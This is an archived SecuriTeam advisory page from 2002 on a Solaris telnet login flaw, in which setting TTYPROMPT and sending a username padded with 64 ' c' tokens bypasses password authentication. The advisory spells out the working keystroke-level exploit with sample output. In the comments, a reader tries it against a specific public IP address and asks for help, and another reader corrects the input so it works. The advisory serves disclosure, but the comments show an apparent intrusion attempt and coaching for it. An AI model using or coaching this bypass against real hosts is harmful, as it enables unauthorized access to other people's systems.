Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
SecuriTeam  Beyond Security  SecuriTeam Home  Ask the Team  Mailing Lists  Advertising Info  Blogs  Black Box Testing  Vulnerability Assessment  Vulnerability Scanner SecuriTeam in Your Inbox   E-mail this article to a friend New vulnerability? New tool? Tell us	Solaris TTYPROMPT Security Vulnerability (Telnet) 2 Sep. 2002    Summary Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the environment variable TTYPROMPT and sending of a long username. The vulnerability will allow an attacker to gain elevated privileges on a remote Solaris system.   Credit: The information has been provided by Jonathan S.    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems:  * Solaris version 2.6, 7, and 8 This vulnerability is very simple to exploit, since it does not require any code to be compiled by an attacker. The vulnerability only requires the attacker to simply define the environment variable TTYPROMPT to a 6-character string, inside telnet. Jonathan believes this overflows an integer inside login, which specifies whether the user has been authenticated (just a guess). Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). Example: coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin  Comments: Subject:  Mihai  Date:  3 Jul. 2006 From: dragomirescu200yahoo.co.uk # t t> environ define TTYPROMPT abcdef t> o 61.166.33.152 Trying 61.166.33.152... Connected to 61.166.33.152. Escape character is '^]'. SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Password: It doesn't work.Please help me Subject:  Correction  Date:  29 Aug. 2007 From: Anonyhelper Remove the newline/CR that is in the middle of your line of 64 "e;c"e;s. It should be one unbroken line terminated by the literal \n  Add new comment:  Subject:  Name/Nick/Email:          Chars Left:	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Apple WebKit attr() Invalid Attribute Memory Corruption Vulnerability Pivot Cross Site Scripting and HTML Injection IBM AIX ToolTalk Database Server Buffer Overflow Vulnerability Webmedia Explorer Cross Site Scripting Vulnerability phpMyAdmin Code Injection Pantha transLucid Cross Site Scripting and HTML Injection Vulnerabilities Clam AntiVIrus Generic Bypass Using RAR CAB or ZIP Files Apache Tomcat RequestDispatcher Directory Traversal Vulnerability HP-UX Running OpenSSL DoS Joomla JA_Purity Multiple Persistent XSS Drupal Flag Module Multiple Vulnerabilities Apple Terminal xterm Resize Escape Sequence Memory Corruption Vulnerability Apple CUPS NULL Pointer Vulnerability OCS Inventory NG Multiple SQL Injections HP-UX Execution of Arbitrary Code and Other Vulnerabilities  Featured Articles Adobe Shockwave Player Director File Parsing Pointer Overwrite Mozilla Firefox Java Applet Loading Vulnerability Microsoft Internet Explorer Security Zone Restrictions Bypass Adobe Acrobat and Reader Heap Overflow Vulnerability Adobe Reader U3D Stack Overflow Vulnerability Apple CUPS NULL Pointer Vulnerability SonicWALL Global Security Client Privilege Escalation Vulnerability
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © 1998-2008 Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®